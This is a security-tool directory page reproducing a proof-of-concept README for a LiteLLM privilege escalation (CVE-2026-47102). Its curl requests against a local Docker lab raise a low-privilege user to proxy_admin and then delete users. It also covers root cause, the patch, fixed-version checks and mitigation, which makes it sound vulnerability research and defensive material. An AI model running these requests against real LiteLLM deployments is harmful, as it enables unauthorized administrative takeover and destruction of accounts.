Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-47102-PoC — The code for personally reproducing the corresponding vulnerability | Kitploit
Tools/GitHubGitHub/learner202649/cve-2026-47102-poc
Privilege EscalationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHublearner202649/cve-2026-47102-poc

CVE-2026-47102-PoC

The code for personally reproducing the corresponding vulnerability

View Repository
93 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-47102 — LiteLLM Privilege Escalation via /user/update

LiteLLM v1.83.7 (versions before v1.83.10) /user/update endpoint allows low-privileged users with access to this endpoint to modify their own user_role field to proxy_admin when updating their account, achieving unauthorized privilege escalation.

FieldValue
CVECVE-2026-47102
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Incorrect Authorization)
AffectedLiteLLM < 1.83.10 (confirmed on v1.83.7)
Fixedv1.83.10+ (added permission check for modifying user_role field)
Published2026-05-21
Discovered byFenix Qiao (13ph03nix) — Obsidian Security
LinksNVD

Description

LiteLLM's /user/update endpoint is used to update user attributes. In affected versions, the can_user_call_user_update() function of /user/update checks whether the user is authorized to update the specified user (allowing users to update their own records), but imposes no restrictions on which fields can be modified.

This means any user who can access the /user/update endpoint (for example, users granted route permissions by an administrator, or attackers who gain access to this endpoint through other vulnerabilities) can escalate their own role to proxy_admin by modifying their user_role field, gaining full access to all administrative endpoints.

Attack Chain

root@kitploit:~
Admin creates API key with /user/update route permission for internal_user
  →  internal_user gains route-level access
  →  POST /user/update  {"user_id": "...", "user_role": "proxy_admin"}  ← CVE-2026-47102
  →  Role escalated to proxy_admin
  →  GET /user/list  (verify admin access)

Difference from CVE-2026-47101

The two vulnerabilities can be chained: CVE-2026-47101 is used to create a wildcard route key (accessing /user/update), and CVE-2026-47102 is used to escalate one's own role to proxy_admin.


Proof of Concept

Environment Setup

root@kitploit:~
# 1. Start PostgreSQL + vulnerable LiteLLM (v1.83.7-stable)
docker compose up -d litellm

# Wait for service readiness (about 10-30 seconds)
sleep 15

Verify Service Running

root@kitploit:~
# Check container logs
docker logs litellm-47102-privesc 2>&1 | tail -10

Expected output should contain logs indicating successful startup, such as Uvicorn running on http://0.0.0.0:4000.

Step 1: Create an internal_user account

Use the master key to create a low-privilege internal_user account:

root@kitploit:~
curl -s -X POST http://localhost:4002/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Expected output:

root@kitploit:~
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Step 2: Admin grants a key with /user/update route permission

The admin creates an API key with /user/update route access for internal_user. This is the typical way to gain access to the /user/update endpoint in a real environment:

root@kitploit:~
# Use master key to create a key with /user/update route
curl -s -X POST http://localhost:4002/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'

Expected output:

root@kitploit:~
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}

Step 3: Privilege Escalation to proxy_admin (CVE-2026-47102)

Using the key with /user/update route permission obtained in the previous step, escalate the user role to proxy_admin:

root@kitploit:~
curl -s -X POST http://localhost:4002/user/update \
  -H "Authorization: Bearer sk-route-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Expected output:

root@kitploit:~
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Vulnerability point: user_role has been changed from internal_user to proxy_admin! The /user/update endpoint allows users to modify their own user_role field without any field-level permission restrictions.

Step 4: Verify Administrator Access

Verify the role escalation via the /user/list endpoint (using the original internal_user API key, which has no route restrictions; after escalation to proxy_admin, it automatically gains admin privileges):

root@kitploit:~
# Use the key that has been escalated to proxy_admin (original internal_user key, no route restrictions)
curl -s -X GET http://localhost:4002/user/list \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json"

Expected output:

root@kitploit:~
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

Step 5: Extension — Delete an Admin User

Using the obtained proxy_admin privileges, any user can be deleted via /user/delete (again using the original internal_user API key):

root@kitploit:~
curl -s -X POST http://localhost:4002/user/delete \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Expected output:

root@kitploit:~
1

One-Click Reproduction

The above steps have been integrated into demo.sh, which can be executed directly:

root@kitploit:~
# Full reproduction (includes comparison between vulnerable and fixed versions)
bash demo.sh

Fixed Version Verification

Start the fixed version (v1.83.10-stable) to verify that CVE-2026-47102 has been patched:

root@kitploit:~
docker compose --profile fixed up -d litellm-fixed

Create an internal_user:

root@kitploit:~
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")

Create a key with /user/update route:

root@kitploit:~
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

Attempt to escalate privileges (expected to be blocked):

root@kitploit:~
curl -s -X POST http://localhost:4003/user/update \
  -H "Authorization: Bearer $FIXED_ROUTE_KEY" \
  -H "Content-Type: application/json" \
  -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"

Expected output (fixed version blocks unauthorized request):

root@kitploit:~
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}

Comparison with vulnerable version:

Test ScenarioVulnerable Version (v1.83.7)Fixed Version (v1.83.10)
Route key modifies user_role✅ Successfully escalated to proxy_admin❌ Blocked ("Only proxy admins can modify user roles.")
Access /user/list✅ Successfully retrieved user list❌ Blocked

Root Cause Analysis

The root cause of the vulnerability lies in the can_user_call_user_update() function of the /user/update endpoint:

/user/update — Missing field-level authorization

root@kitploit:~
# Vulnerable code — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True  # Admin can update any user
    elif user_api_key_dict.user_id == user_info.user_id:
        return True  # ❌ User can update their own record — including the user_role field!
    return False

Fix (v1.83.10+):

root@kitploit:~
def can_user_call_user_update(user_api_key_dict, user_info, data):
    if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
        return True  # Admin can still update any user and any field
    elif user_api_key_dict.user_id == user_info.user_id:
        # Restrict fields non-admin can modify
        allowed_fields = {"metadata", "display_name", "email"}
        requested_fields = set(data.keys())
        forbidden = requested_fields - allowed_fields
        if forbidden:
            raise ForbiddenError(f"Cannot modify fields: {forbidden}")
        return True
    return False

Exploitation Technique

Prerequisites

An attacker needs an API key that can access the /user/update endpoint. This can be obtained by:

  1. Admin grants route permission — Admin creates a key with the /user/update route
  2. CVE-2026-47101 — Exploit the wildcard route vulnerability in /key/generate to create a wildcard key
  3. org_admin role — org_admin has access to /user/update in some configurations

Attack Steps

Step 1: Obtain an API key with /user/update route permission

Step 2: Call /user/update to escalate role:

root@kitploit:~
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

Step 3: Verify admin privileges:

root@kitploit:~
GET /user/list
Authorization: Bearer sk-route-key

Patch Analysis (v1.83.10)

The fixed version adds field-level authorization checks in /user/update:

  1. Restrict fields non-admin can modify — internal_user can only update non-critical fields like metadata
  2. Protect the user_role field — only proxy_admin can modify user roles
  3. Retain self-update capability — users can still update their own basic information, but cannot escalate privileges

Error message: "Only proxy admins can modify user roles."


Repository Structure

root@kitploit:~
CVE-2026-47102/
├── README.md                               # This file
├── CVE-2026-47102_漏洞复现报告.docx          # Reproduction report (Chinese)
├── docker-compose.yml                      # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml                             # LiteLLM config with database connection
├── requirements.txt                        # Python dependencies
├── demo.sh                                 # One-click reproduction script
├── exploit/
│   ├── exploit.py                          # Python exploit script
│   └── payload.py                          # Payload builders
├── docs/
└── screenshots/

Mitigation

  1. Upgrade to LiteLLM v1.83.10+ (fixed /user/update field-level authorization)
  2. Restrict API key route privileges — grant only necessary routes
  3. Audit existing users and keys for signs of privilege escalation
  4. Monitor /user/update calls with user_role changes for anomalous activity

References

  • NVD Detail
  • Obsidian Security Advisory

Disclaimer: This content is provided for educational purposes and authorized security testing only.

Download Tool
ItemCVE-2026-47101CVE-2026-47102
Vulnerability Focus/key/generate does not validate allowed_routes/user/update lacks field-level authorization
Attack Prerequisiteinternal_user can directly call /key/generateMust first obtain /user/update route access
Fix Versionv1.83.14v1.83.10